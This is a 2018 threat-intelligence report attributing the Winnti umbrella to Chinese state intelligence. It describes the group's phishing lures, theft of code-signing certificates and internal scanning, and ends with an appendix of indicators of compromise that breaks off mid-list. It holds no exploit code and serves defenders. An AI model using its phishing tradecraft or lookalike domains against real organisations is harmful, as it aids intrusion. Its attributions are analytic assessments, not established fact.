Burning Umbrella An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Tom Hegel May 3, 2018 Table of Contents Table of Contents Key Judgements Report Summary Background Analysis of Attacks on Initial Targets Investigative Findings Conclusion Appendix A: Associated Indicators About 401TRG Key Judgements We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus, with at least some elements located in the Xicheng District of Beijing. A number of Chinese state intelligence operations from 2009 to 2018 that were previously unconnected publicly are in fact linked to the Winnti umbrella. We assess with high confidence that multiple publicly reported threat actors operate with some shared goals and resources as part of the Chinese state intelligence apparatus. Initial attack targets are commonly software and gaming organizations in United States, Japan, South Korea, and China. Later stage high profile targets tend to be politically motivated or high value technology organizations. The Winnti umbrella continues to operate highly successfully in 2018. Their tactics, techniques, and procedures (TTPs) remain consistent, though they experiment with new tooling and attack methodologies often. Operational security mistakes during attacks have allowed us to acquire metrics on the success of some Winnti umbrella spear phishing campaigns and identify attacker location with high confidence. The theft of code signing certificates is a primary objective of the Winnti umbrella s initial attacks, with potential secondary objectives based around financial gain. Report Summary The purpose of this report is to make public previously unreported links that exist between a number of Chinese state intelligence operations. These operations and the groups that perform them are all linked to the Winnti umbrella and operate under the Chinese state intelligence apparatus. Contained in this report are details about previously unknown attacks against organizations and how these attacks are linked to the evolution of the Chinese intelligence apparatus over the past decade. Based on our findings, attacks against smaller organizations operate with the objective of finding and exfiltrating code signing certificates to sign malware for use in attacks against higher value targets. Our primary telemetry consists of months to years of full fidelity network traffic captures. This dataset allowed us to investigate active compromises at multiple organizations and run detections against the historical dataset, allowing us to perform a large amount of external infrastructure analysis. Background The Winnti umbrella and closely associated entities has been active since at least 2009, with some reports of possible activity as early as 2007. The term "umbrella" is used in this report because current intelligence indicates that the overarching entity consists of multiple teams/actors whose tactics, techniques, and procedures align, and whose infrastructure and operations overlap. We assess that the different stages of associated attacks are operated by separate teams/actors, however in this report we will show that the lines between them are blurred and that they are all associated with the same greater entity. The Winnti and Axiom group names were created by Kaspersky Lab and Symantec, respectively, for their 2013/2014 reports on the original group. The name Winnti is now primarily used to refer to a custom backdoor used by groups under the umbrella. Multiple sources of public and private threat intelligence have their own names for individual teams. For example, LEAD is a common alias for the group targeting online gaming, telecom, and high tech organizations. Other aliases for groups related include BARIUM, Wicked Panda, GREF, PassCV, and others. This report details how these groups are linked together and serve a broader attacker mission. The many names associated with actors in the greater intelligence mission are due to the fact that they are built on telemetry of the intelligence provider which is typically unique and dependent on their specific dataset. This report focuses heavily on networking related telemetry. We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus. This assessment is based on attacker TTPs, observed attack infrastructure, and links to previously published intelligence. Their operations against gaming and technology organizations are believed to be economically motivated in nature. However, based on the findings shared in this report we assess with high confidence that the actor s primary long-term mission is politically focused. It s important to note that not all publicly reported operations related to Chinese intelligence are tracked or linked to this group of actors. However, TTPs, infrastructure, and tooling show some overlap with other Chinese-speaking threat actors, suggesting that the Chinese intelligence community shares human and technological resources across organizations. We assess with medium to high confidence that the various operations described in this report are the work of individual teams, including contractors external to the Chinese government, with varying levels of expertise, cooperating on a specific agenda. In 2015 the People s Liberation Army of China (PLA) began a major reorganization which included the creation of the Strategic Support Force (SSF / PLASSF). SSF is responsible for space, cyber, and electronic warfare missions. Some of the overlap we observed from groups could potentially be related to this reorganization. Notably, key incident details below include attacker mistakes that likely reveal the true location of some attackers as the Xicheng District of Beijing. Tactics, Techniques, and Procedures (TTPs): Though the TTPs of the attacking teams vary depending on the operation, their use of overlapping resources presents a common actor profile. Key interests during attacks often include the theft of code signing certificates, source code, and internal technology documentation. They also may attempt to manipulate virtual economies for financial gain. While unconfirmed, the financial secondary objective may be related to personal interests of the individuals behind the attacks. Initial attack methods include phishing to gain entry into target organization networks. The group then follows with custom malware or publicly available offensive tooling (Metasploit/Cobalt Strike), and may use a number of methods to minimize their risk of being detected. Such techniques include a particular focus on living off the land by using a victim's own software products, approved remote access systems, or system administration tools for spreading and maintaining unauthorized access to the network. We have observed incidents where the attacker used other victim organizations as a proxy for unauthorized remote access. In these cases, organization 1 had been compromised for a long period of time, and the attacker accessed victim organization 2 via the organization 1 network. Delivery and C2 domains routinely have subdomains which resemble target organizations. Additionally, their C2 domains are used across many targets, while subdomains tend to be created and removed quickly and are unique to a particular target or campaign. Also noteworthy is that the actors set their domains to resolve to 127.0.0.1 when not in use, similar to what was originally reported on by Kaspersky Lab (see below). The actor often uses TLS encryption for varying aspects of C2 and malware delivery. As noted in the Infrastructure Analysis section of this report, the actor primarily abuses Let s Encrypt to sign SSL certificates. We also observed many cases in which self-signed certificates were used in attacks. Overall, the Winnti umbrella and linked groups are lacking when it comes to operational security. However, some activities linked to these groups follow better operational security and infrastructure management approaches. This may be a clue to the division of responsibilities by team and skill level within the broader organization. Targets: The Winnti umbrella and linked groups initial targets are gaming studios and high tech businesses. They primarily seek code signing certificates and software manipulation, with potential financially motivated secondary objectives. These targets have been identified in the United States, Japan, South Korea, and China. Based on the infrastructure, links to previous reporting, and recently observed attacks, the broader organization s main targets are political. Historically this has included Tibetan and Chinese journalists, Uyghur and Tibetan activists, the government of Thailand, and prominent international technology organizations. One example of a politically focused lure by the Winnti umbrella and linked groups is an end of 2017 document titled Resolution 2375 (2017) Strengthening Sanctions on DPR of KOREA which is a malicious file associated with the C2 infrastructure described here - see MD5: 3b58e122d9e17121416b146daab4db9d. Some Key Public Reports: 2013 Kaspersky Lab publicly reported o n the original Winnti group , technical details around the Winnti samples , and v arious honeypot analysis methods . Most noteworthy is the Winnti umbrella s targeting of gaming organizations in search of code signing certificates, virtual currencies, and updating mechanisms which could potentially be used to attack victims clients. Interestingly, this was the first identified trojan for the 64-bit Microsoft Windows operating system with a valid digital signature as noted by the author. The abuse of signed applications is a very effective attack approach that the entity continues to use. 2014 Novetta released an o utstanding report detailing Operation SMN, in which they collaborated with a number of private organizations on a large scale malware eradication operation which is linked to the original Winnti group by the malware being delivered. In the report, the actor is named Axiom. Novetta reported links to publications from as far back as 2009 that also link the group to the Chinese state intelligence apparatus with high confidence. Links exist to various known attacks and actor groups, such as Operation Aurora, Elderwood Group s successful 2010 attack against Google and many other organizations. Another link exists to the successful compromise of the security organization B it9 in 2013 , where their own product was used to sign and spread malware to their customers. In addition, FireEye Operation DeputyDog detailed attacks on Japanese targets from the same attack infrastructure. Many other incidents are detailed in the Operation SMN report. Following all of these details back in time, we can see an overlap in TTPs and targets from the APT1 report by Mandiant , which serves as a great historical example of Chinese intelligence cyber operations in their most basic form. 2016 Cylance released a blog post reporting on digitally signed malware used in targeted attacks against gaming organizations in China, Taiwan, South Korea, Europe, Russia, and the United States. Cylance refers to the attacking entity as PassCV their reporting. Cylance successfully identified a large quantity of malware binaries which were signed with valid certificates stolen from a number of gaming studios in East Asia. In addition to detailing the individual certificates and signed malware, they identified a significant amount of network infrastructure which contain various interesting links to our own findings. 2017 - March/April Trend Micro reported o n attacks that abused GitHub for use in malware command and control, which they attributed to the original Winnti group. Amusingly, Trend Micro later reported on an individual linked to the group and the attacks happens to be a fan of pigs 2017 - July 5th Citizen Lab reported on attacks against journalists by an actor mimicking China-focused news organizations HK01, Epoch Times, Mingjing News, and Bowen Press. As Citizen Lab noted, these news organizations are blocked in China for their political views. The report notes that malware used in these attacks was linked to a stolen code signing certificate mentioned in the Cylance PassCV post. That overlap, in addition to infrastructure links from a Palo Alto Unit 42 blog post , strongly links this attack to the previously mentioned reports as well as to our own. As Unit 42 reports, the attacks against entities in the government of Thailand used the bookworm trojan. 2017 - July/October ProtectWise 401TRG published our own findings and an update on LEAD using open source and public tooling in attacks against Japanese gaming organizations. These attacks are linked with high confidence to ongoing operations in the United States and East Asia. Other Noteworthy Events In 2017, multiple supply-chain attacks occurred which had some similarities to the Winnti umbrella and associated entities. For example, K aspersky reported on ShadowPad , a large-scale compromise of NetSarang, which resembles the Winnti and PlugX malware. In addition, Kaspersky and I ntezer identified notable code similarities to the Winnti umbrella and APT17 in the compromise of Piriform, which allowed attackers to sign and spread altered versions of the CCleaner software to a large customer base. Analysis of Attacks on Initial Targets Throughout 2017 and 2018, ProtectWise 401TRG was involved in a number of detection and incident response engagements with our customers that linked back to the Winnti umbrella and other closely associated entities. Through the analysis of public and private intelligence, we have successfully identified similar attacks, which allow us to assess with high confidence that the details below follow a global attack trend as the Chinese intelligence operations have evolved over time. 2017 Operations: One of the most common tactics used by the Winnti umbrella and related entities is phishing users whose credentials may provide elevated access to a target network. We have observed spear-phishing campaigns that target human resources and hiring managers, IT staff, and internal information security staff, which are generally very effective. In 2017 the entity focused most of its efforts around technical job applicant email submissions to software engineering, IT, and recruiting staff, which we originally reported on at our 4 01trg.pw blog. The phishing lures used multiple languages, including Japanese as in the below example: The approximate translation is as follows: I saw your job posting. My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP. I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing. I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL. Please see here: [malicious link] The process that followed a target clicking the malicious link evolved as the attacker progressed through the campaigns. The links consistently sent the victim to a fake resume, but the exact format of that resume changed over time; we have observed resumes being delivered as DOC, XLS, PDF, and HTML files. Once opened, the fake resumes performed various actions in an effort to download malware onto the victim host. During the same time period, we also observed the actor using the Browser Exploitation Framework (BeEF) to compromise victim hosts and download Cobalt Strike. In this campaign, the attackers experimented with publicly available tooling for attack operations. During this infection process, the actor was known to check the target operating system and deliver malware, signed by a previously stolen key, for the appropriate host environment. In some cases, valid Apple certificates stolen from victims were used in this process, which linked the attack to additional victim organizations. Post-compromise actions by the attacker followed a common pattern. First they attempted to spread laterally in the network using stolen credentials and various reconnaissance efforts, such as manually examining shares and local files. The primary goal of these attacks was likely to find code-signing certificates for signing future malware. The secondary goals of the attackers depended on the type of victim organization, but were often financial. For example, gaming organizations tended to fall victim to manipulation or theft of in-game virtual currencies. Non-gaming victims may have experienced theft of intellectual property such as user or technology data. 2018 Operations: More recently, various attack campaigns from the Winnti umbrella and associated groups have been very successful without the use of any exploits or malware. Phishing remains the initial infection vector but the campaign themes have matured. In 2018, the campaigns have largely been focused on common services such as Office 365 and Gmail. It is important to note that attackers likely have additional information on their target organizations' preferred email solutions based on previous incidents or open source intelligence. In more recent phishing campaigns conducted by the Winnti umbrella and associated groups, URL shortening services have been used. For example, Google URL shortening service goo.gl was used over the past weeks, allowing us to gain insight into the scale of this campaign using publicly available analytics. As you can see from the above screenshot, this particular phishing campaign ran from March 20th to March 28th, 2018. Notably, the link was created on February 23rd, 2018, indicating roughly three weeks of preparation for the attacks. These metrics allow us to gain insight into who clicked the link in a phishing email and was directed to a phishing or malware delivery landing page. According to Google analytics, there were a total of 56 clicks. 29 were from Japan, 15 from the United States, 2 from India, and 1 from Russia. 33 of the clicks were from Google Chrome, and 23 were from Safari. 30 were from Windows OS hosts, and 26 were macOS hosts. In general, the attackers phish for credentials to a user s cloud storage, and would be expected to later attempt malware delivery in the cases of a failed credential phish or valueless cloud storage. In cases where the victim uses O365 and/or G-suite for enterprise file storage, the attackers manually review the contents for data of value. If code signing certificates are stored here, the primary mission has been accomplished, as they may be easily downloaded. In other cases, the attackers attempt to use other files and documentation in the cloud storage to help them traverse or gain privileges on the network. The targets in 2018 include IT staff, and commonly sought out files include internal network documentation and tooling such as corporate remote access software. Once the attackers gain remote access to the network via malware or stolen remote access tooling and credentials, the operation continues as we ve seen, though their post-compromise actions have become more efficient and automated. Internal reconnaissance is performed by scanning the internal network for open ports 80, 139, 445, 6379, 8080, 10022, and 30304. The choice of ports by the attacker indicates a strong interest in internal web and file storage services. An interesting addition is the use of 30304, which is the peer discovery port for Ethereum clients. In the attackers ideal situation, all remote access occurs through their own C2 infrastructure, which acts as a proxy and obscures their true location. However, we have observed a few cases of the attackers mistakenly accessing victim machines without a proxy, potentially identifying the true location of the individual running the session. In all of these cases, the net block was 221.216.0.0/13, the China Unicom Beijing Network, Xicheng District. Visualizing Attacker Infrastructure Based on the various incidents we have been involved in, in addition to past public reporting and open-source intelligence, we can construct a map representing the infrastructure most closely associated with the Winnti umbrella and closely related entities. For the sake of producing an accurate representation of the infrastructure, we are excluding any shared infrastructure (such as hosting provider IPs used for many unrelated domains) and low confidence indicators. Please note this is not an exhaustive list of all active infrastructure in use by the group. As detailed below, this infrastructure spans at least eight years of activity by the Winnti umbrella and related groups. Please note, as this section heavily references the Some Key Public Reports section, above, we recommend reading that first. Indicators are provided in Appendix A. 1. The area of the map labeled #1 is the phishing, malware delivery, fake resume, and C2 infrastructure. This includes domains, IPs, malware hashes, SSL certificates, and WHOIS information. In this section of the infrastructure, we primarily observe the network and file indicators which would be used against targets valued for code signing certificates, software manipulation, and potential financial manipulation. The indicators detailed in the 2017 & 2018 Initial Target section of this report are located in #1. Infrastructure in this area is currently in use and not entirely historical. 2. This area is a network that we assess is associated with the umbrella with low confidence. The most interesting findings here are the large number of s Encrypt SSL certificates in use and the overlap with attacker exclusive infrastructure. This proposed relationship is generated by infrastructure links alone, as no malicious activity has been confirmed to or from region #2. Infrastructure in this area is currently in use and not historical. 3. Area #3 is linked to the initial attack infrastructure (#1) by domain WHOIS details, likely from operational security mistakes. We assess with high confidence that these infrastructures are linked. Based on the lax structure and naming of this section, it is highly probable that it is used for attacker experimenting and development. Some examples include domains such as nobody.will.know.whoami[.]la secret.whoami[.]la , and no.ip.detect.if.using.ipv6[.]la . Infrastructure in this area is currently in use and not historical. 4. This area has various links to #3 in which an individual software developer is identified. We asses this connection with low to medium confidence and will refrain from publicly sharing details in this report. This area contains many personally operated domains and SSL certificates. Infrastructure in this area is currently in use and not historical. 5. Area #5 of the map is part of what Novetta reported on as Operation SMN in 2014. Infrastructure in this area is purely historical and based on Novetta reporting, which we can link to area #1 via known umbrella infrastructure. The vast majority of indicators in this area are the many associated hashes combined with their C2 destination domains and IPs. 6. This area of the map is what Cylance reported on as PassCV in 2016. The vast majority of infrastructure and indicators here are stolen code signing certificates, malware signed with the certificates, and C2 domains. This area contains information on many victims of campaigns related to area #1. Infrastructure in this area is historical. We assess that this area is linked to the Winnti umbrella with high confidence. 7. This section represents infrastructure identified by Citizen Lab in their July 5th 2017 reporting on attacks against journalists. As they originally identified, one of the NetWire binaries was signed with a stolen certificate linked to #6, the Cylance PassCV report. We were able to further expand this section by pivoting off of additional domain WHOIS information. 8. Lastly is area #8, which links back with high confidence to #7 (Citizen Lab reporting) and #6 (PassCV). This area consists of domains, IPs, MD5 file hashes, and further WHOIS operational security mistakes. This area is similar in functionality to #1 and #3, serving as infrastructure for both high-value politically focused attacks and developer personal use. This section links to the online identities of an individual we asses to be associated with the Winnti umbrella or a closely related group at a medium to high confidence. Infrastructure in this area is currently in use and not historical. One example of malicious activity in this area was the document detailing the strengthening of sanctions against North Korea, above. These activities are similar to the type of politically motivated targeted attacks Citizen Lab reported on. Some infrastructure in this area is currently in use and is not completely historical. Investigative Findings Based on incident response engagements, research into the associated attacker infrastructure, and previously reported research, we can summarize our findings as follows: 1. The Chinese intelligence apparatus has been reported on under many names, including Winnti, PassCV, APT17, Axiom, LEAD, BARIUM, Wicked Panda, and GREF. 2. The overlap of TTPs and infrastructure between the Winnti umbrella and other groups indicates the use of shared human and technology resources working towards an overarching goal. Operational security mistakes allow the linking of attacks on lower value targets to higher value campaigns. Reuse of older attack infrastructure, links to personal networks, and observed TTPs play a role in this overlap. 3. The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13. 4. Initial attack targets are commonly software organizations in the United States, Japan, South Korea, and China. Later stage high profile targets tend to be political organizations or high-value technology companies. 5. The attackers grow and learn to evade detection when possible, but lack operational security when it comes to the reuse of some tooling. Living off the land and adaptability to individual target networks allow them to operate with high rates of success. Conclusion We hope the information we ve shared in this report will help potential targets and known victims in addition to the greater information security community. Though they have at times been sloppy, the Winnti umbrella and its associated entities remain an advanced and potent threat. We hope that the information contained within this report will help defenders thwart this group in the future. d like to extend a special thank you to all the victims, targets, researchers, and security vendors who have shared their own findings over the years. Appendix A: Associated Indicators If you are interested in automating the intake of public 401TRG indicators, we recommend using our g ithub detections repository Area #1: Type Indicator IP Address 106.184.5.252 IP Address 106.185.31.128 IP Address 106.186.122.96 IP Address 13.115.93.210 IP Address 133.242.145.137 IP Address 139.162.106.19 IP Address 139.162.119.48 IP Address 139.162.17.161 IP Address 139.162.79.40 IP Address 139.162.95.39 IP Address 159.65.71.30 IP Address 172.104.101.131 IP Address 172.104.115.124 IP Address 198.199.78.207 IP Address 207.126.114.154 IP Address 45.32.18.187 IP Address 45.77.179.192 IP Address 52.199.202.13 IP Address 61.78.62.102 IP Address 61.78.62.21 IP Address 61.78.62.61 Domain 11116[.]intra[.]applestunes[.]com Domain 24287[.]intra[.]applestunes[.]com Domain 26707[.]intra[.]applestunes[.]com Domain 33604[.]intra[.]applestunes[.]com Domain account[.]microsoftssonline[.]com Domain account[.]micrrosoftsonline[.]com Domain account[.]outlook-s[.]com Domain accounts[.]gmail[.]sa[.]com Domain accounts[.]google-acc[.]com Domain accounts[.]google-caches[.]com Domain alienlol[.]com Domain app[.]appaffect[.]com Domain appaffect[.]com Domain applestunes[.]com Domain applevswin[.]com Domain asmc[.]best Domain atliassian[.]com Domain awsprocduction[.]immigrantlol[.]com Domain awsstatics[.]com Domain css[.]google-statics[.]com Domain dnslog[.]mobi Domain eggagent[.]info Domain exoticlol[.]com Domain ftp[.]appaffect[.]com Domain ftp[.]eggagent[.]info Domain ftp[.]ssrsec[.]com Domain ftp[.]winter[.]tokyo Domain gmail[.]sa[.]com Domain google-acc[.]com Domain google-caches[.]com Domain google-searching[.]com Domain google-statics[.]com Domain googlecloud[.]center Domain gstatic[.]guide Domain helpdesk[.]access[.]ly Domain id[.]atliassian[.]com Domain immigrantlol[.]com Domain intra2015[.]awsstatics[.]com Domain job[.]yoyakuweb[.]technology Domain jobcenters[.]com Domain jobscenters[.]org Domain k0oo[.]co Domain login[.]gmail[.]sa[.]com Domain login[.]microsoftssonline[.]com Domain login[.]micrrosoftsonline[.]com Domain macos[.]exoticlol[.]com Domain mail[.]appaffect[.]com Domain mail[.]atliassian[.]com Domain mail[.]awsstatics[.]com Domain mail[.]google-acc[.]com Domain mail[.]google-caches[.]com Domain mail[.]microsoftssonline[.]com Domain mail[.]micrrosoftsonline[.]com Domain mail[.]mondoor[.]tv Domain mail[.]outlook-s[.]com Domain mail[.]ssrsec[.]com Domain mail[.]winter[.]tokyo Domain martianlol[.]com Domain microsoftsec[.]com Domain microsoftssonline[.]com Domain mondoor[.]tv Domain ns1[.]google-searching[.]com Domain ns2[.]googlecloud[.]center Domain outerlol[.]com Domain outlook-s[.]com Domain proappcs[.]com Domain rabbit[.]awsstatics[.]com Domain resume[.]immigrantlol[.]com Domain snow[.]winter[.]tokyo Domain sqlmapff[.]com Domain sshsocks[.]google-searching[.]com Domain ssl[.]gmail[.]sa[.]com Domain ssl[.]google-acc[.]com Domain ssl[.]google-caches[.]com Domain ssrsec[.]com Domain strangelol[.]com Domain summer[.]winter[.]tokyo Domain support[.]theonelogin[.]com Domain theonelogin[.]com Domain vmxesxi[.]google-searching[.]com Domain vps2java[.]securitytactics[.]com Domain winter[.]tokyo Domain www5363uj[.]sakura[.]ne[.]jp Domain yoyakuweb[.]technology SSL Cert SHA1 512509787e4da7aaf71b89d25698a9e9d43501fd SSL Cert SHA1 bd3abf19f065d102503e9186c152e529d3e33143 SSL Cert SHA1 df7826303b98004afd1102f597f6c7b067086a00 SSL Cert SHA1 1217cbb57fb26bd52d976f34571bd6c6514265e9 SSL Cert SHA1 e6a3b45b062d509b3382282d196efe97d5956ccb SSL Cert SHA1 8e400380e376b9fb03612967940bb8e07175ab6a SSL Cert SHA1 263babc25c177e0e6bd87c687bad8316240f971e SSL Cert SHA1 58e1a9c1dae311fabdfa065955216a46eecb5816 SSL Cert SHA1 bae30b15dbb1544cf194d076b75b7bb9e3d6b760 SSL Cert SHA1 0e34141846e7423d37f20dc0ab06c9bbd843dc24 SSL Cert SHA1 23d57a493a5bfe1801b9d6e0894555242661a27b SSL Cert SHA1 8e11362a487a744fd21682cd86ad053e8bd5b9ce File MD5 Hash b676ec7b387de8795833b691a367d3d1 File MD5 Hash e798cfe49e6afb61f58d79a53f06d785 File MD5 Hash 371acda8d719426b6a8867767260b9ce Cookie _phishing-framework_session WHOIS Email haveip2015@gmail[.]com WHOIS Email iisexit@gmail[.]com Area #2: Type Indicator IP Address 52.199.171.117 IP Address 118.243.177.54 Domain y177054.ppp.asahi-net.or[.]jp Domain newsite.parakaro.co[.]jp Domain www.hyper.parakaro.co[.]jp Domain office.parakaro.co[.]jp Domain hyper.parakaro.co[.]jp Domain peq.parakaro.co[.]jp Domain next.parakaro.co[.]jp Domain ftp.parakaro.co[.]jp Domain parakaro.co[.]jp SSL Cert SHA1 12eb8a9f1a7cd1cc10e57847dd5476c6062b9e58 SSL Cert SHA1 8df0b63fbdd9616d581bdb101929eb17f80f9e99 SSL Cert SHA1 92a1c7e1fd5afccd957e7fcbcdd2431eb9bf3d50 SSL Cert SHA1 a22d97e4ede82ae8375522aca59db575d08c5c35 SSL Cert SHA1 ddf115821717dabb5e69c753d27460242204031e SSL Cert SHA1 5e0fa58bf1c4c1b63144052063dc2bb9129aa1f3 SSL Cert SHA1 c3e55bd6fe0205fe7dc1ad53ed03db269ba5da71 SSL Cert SHA1 1cc87c7c900d584400c5c82073672888fefb145e SSL Cert SHA1 ca2854658dff72da77bf82c1fe5899d09f9f559d SSL Cert SHA1 93caf237baa37cd42dfc4653ffc1792fcbad4642 SSL Cert SHA1 aff17a2e1969e4bf81dbaa3591778887546570cb SSL Cert SHA1 3f3da327ca330396f1ab0a543be284f85d9d414a Area #3: Type Indicator IP Address 119.29.157.220 IP Address 207.126.114.133 IP Address 207.126.114.136 IP Address 207.126.114.158 IP Address 207.126.114.161 IP Address 207.126.114.163 IP Address 208.185.83.234 IP Address 208.185.83.241 IP Address 208.185.83.248 IP Address 208.185.92.31 IP Address 208.185.92.62 IP Address 42.51.17.180 IP Address 64.125.185.106 Domain 117[.]89[.]65[.]117[.]ipv6[.]la Domain address[.]ipv6[.]la Domain anonymous[.]ipv6[.]red Domain be[.]loved[.]tokyo Domain bless[.]christmas Domain blessed[.]loved[.]tokyo Domain channel-w[.]in Domain cisco[.]ipv6[.]la Domain colour[.]of[.]girls[.]is[.]violet[.]la Domain cute[.]devil[.]tokyo Domain devil[.]tokyo Domain diamond[.]violet[.]la Domain didin[.]asia Domain doyan[.]party Domain enjoy[.]and[.]loved[.]tokyo Domain ertiga[.]org Domain freak[.]pictures Domain ftp[.]devil[.]tokyo Domain ftp[.]ipv6[.]red Domain ftp[.]loved[.]tokyo Domain ftp[.]newbie[.]red Domain gadget[.]newbie[.]red Domain happy[.]bless[.]christmas Domain hidden[.]ipv6[.]red Domain huhaifan[.]com Domain i[.]loved[.]tokyo Domain ipv4[.]ipv6[.]la Domain ipv6[.]la Domain ipv6[.]red Domain irc[.]devil[.]tokyo Domain joy[.]full[.]bless[.]christmas Domain just[.]a[.]newbie[.]red Domain katanya[.]rame[.]yah[.]di[.]channel[.]violet[.]la Domain like[.]violet[.]la Domain loved[.]tokyo Domain loved[.]tokyo Domain loving[.]and[.]being[.]loved[.]tokyo Domain loving[.]and[.]being[.]loved[.]tokyo Domain ludicrous[.]lol Domain mail[.]bless[.]christmas Domain mail[.]devil[.]tokyo Domain mail[.]ipv6[.]la Domain mail[.]ipv6[.]red Domain mail[.]loved[.]tokyo Domain mail[.]multicons[.]net Domain mail[.]newbie[.]red Domain mail[.]nteng[.]xyz Domain mail[.]violet[.]la Domain mail[.]whoami[.]la Domain multicons[.]net Domain my[.]pal[.]violet[.]la Domain naoteng[.]top Domain naotengml[.]xyz Domain newbie[.]red Domain no[.]ip[.]detect[.]if[.]using[.]ipv6[.]la Domain nobody[.]will[.]know[.]whoami[.]la Domain nteng[.]xyz Domain on-line[.]connection[.]violet[.]la Domain packet[.]ipv6[.]la Domain people[.]do[.]not[.]need[.]to[.]be[.]fixed[.]they[.]need[.]to[.]be[.]l oved[.]tokyo Domain percuma[.]berteman[.]sama[.]newbie[.]red Domain psycho[.]red Domain pure[.]newbie[.]red Domain pv6[.]red Domain rosemarry[.]asia Domain secret[.]whoami[.]la Domain sekarang[.]waktunya[.]pake[.]ipv6[.]red Domain silent[.]whoami[.]la Domain sky[.]violet[.]la Domain teng123[.]top Domain ti[.]vengo[.]sul[.]perizoma[.]ipv6[.]la Domain top106[.]top Domain uhh[.]yeah[.]whoami[.]la Domain ultra[.]violet[.]la Domain using[.]ipv6[.]la Domain violet[.]la Domain whoami[.]la Domain xops[.]violet[.]la WHOIS Email 18277225531@163[.]com WHOIS Email 253125567@qq[.]com WHOIS Email ykcrewz@yahoo[.]com Area #5: Type Indicator Domain toya[.]co[.]kr Domain war[.]eatuo[.]com Domain war[.]geekgalaxy[.]com Domain war[.]webok[.]net Domain war[.]winxps[.]com Domain winxps[.]com Domain mail[.]winxps[.]com Domain ad1[.]winxps[.]com Domain 69f319a6-10c4-4792-9caf-ec3b3c4b5314[.]winxps[.]com MD5 File Hash 013cd79973f9e26cd86719a988227c0c MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash 031cb00db70f12ba917cd5675658f2c7 07f33ec44f655fe5386b342a10ae48a6 0810959693b40e9b61046f594f86bdb4 095cd159b460d9232123cadfa3670158 0ae61e7f2dd01e6293b9df2e2787caca 0b6019cb7d872112837e3459266e1337 0c5861504dd9156b601c0db63eebaf52 0e7c4616c04c1a200a95b908ecd70027 0f8a8eaf95c7b3b5d9b60a73140fc2bb 108137d380650c99a682077255e95418 12c8dfe94914c793c8a72b024d9334f6 14a9d379d3b16146ac58bc1fd0f3561a 15c700bc1e4ec53af996f5628e97a541 15d909f3761b4ed5b85428bea971fc3b 16406aeff6ded69b102b7442324bcd37 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6eefa1529bcf192f7ccea1f5aeefe707 6f4ce475c83bbb9890c3180973a2f75b 71f0e9068a8d3f9a81aecccad7571535 73497bb006c082008a49c09fbcdc7787 740249492922bf531821692b4c23498e 74ec010ca8ff895b1ab801a03e6282bb 75c775cbfaf9bd40c504c3737e93fafd 7b218f72c4baf98673340cf4789ec012 7b6ca860c3e6bdc75b0be26db70a603a 8674e3c77e8051cfdf1c4d321a7188bf 86fd00eb911c241c9367bf0d4c079300 8b2db1c9d8ba805d5a310910fd6aff7d 8e3e4b006af3c1835ef3b7b4dcd3f1de 8e4a973b7440e8bb3f6d272660d6c06d 92274d90c221b0aad382f816026a4781 953c183445b67059e2a2378f8d1b6709 97734c735b031143a3347fb89915f477 98a073e1e545075aa0030995cc07745a 9d77a9318c53affe7c170710644491fe 9e3b5b7988c0307a60b9a2c15161c1ff 9ec4bc6990635c847d95271bf8c77794 a0aaf3c9d5f30645453953cb2bb87f3f a16bb004efb227cb1686d7051c409e42 MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash a22af4fc7fe011069704a15296634ca6 ad48e2b0520b1deb70e0ecd32ffca96a af30fca836142d6a0b8672f1e8f53acf b07cf2bb96ccebfe563c6c8f7046143a b38b2eae598ee1f5204ef5198d16dcdf b68cab0a6da7244532c051073c8ba2f3 b6e2518f9c9028e9bf452551637ed2ae b714e63b420932b63ec4db269fba8689 b745534a50459b4950ef8cefd9f0a078 b9c4386e1b32283598c1630be5a12503 bb775b77c3a546fa432264a142c24a3d bea51d525ee6ea6d4272c7adc23dfb7d bffc195107e60a7ea58e44125df33dc6 c202654790c1e7321fdcb9604d5d5221 c3f45d748021f8a9acbf00fdc3cfcd6b c8bc4425a6953c09f23a7e5d4333988c ce96cb57fde2ec600f9549f73acfd6bb cfb08ee3399604d37470797d49c01f72 d0e6ddf740f811d823193ccc67afccb0 d1cdff47853aae8fd697e569a0897d5e d31e57fcb728a4f36e21764b164a9e57 d661dc2ad44bd056f7ca292727007693 db01783710e0c5aff92156a0e76deade db68a610468969288cea1b845b38789f dc38409bb31c27f90a780c0546139cbb de82407423aadb8009e378e406515c92 e244f2d62ae2b0b0db324e4586dc860d e49a27232b010e51124d98926122503f e5d73a4ed51e05968869ebb9506b3338 MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash MD5 File Hash e64ce6079f46bf98c213d967f1994d43 e64d1b662f98aa977e0dbb424b2c344d ea4babbd8f7c614f51c2bec44c8267a3 eb272fe923ccf3e66fde1bf309cbc464 eb94043d9fe8cf170b016e243f1188b1 ec2be7eeb812d87e9c995542dbd8f064 ef1b7fd90b274d872ee15a3f2ca35193 efac2baa9941d9a066256bdbbf20e080 F11b3dc0c2818931e0bfe5c0b9fafe05 F34567a507b8d531c31be32f354e234e F765686eed32f57071762fadd32b8b6d Feea14f4bba2326a8d9b0baca0ee5a5e F8a3b026f90a3b33f11fe850c870b063 Area #6: Type Indicator IP Address 101.55.33.106 IP Address 101.55.64.183 IP Address 101.55.64.209 IP Address 101.55.64.246 IP Address 101.55.64.248 IP Address 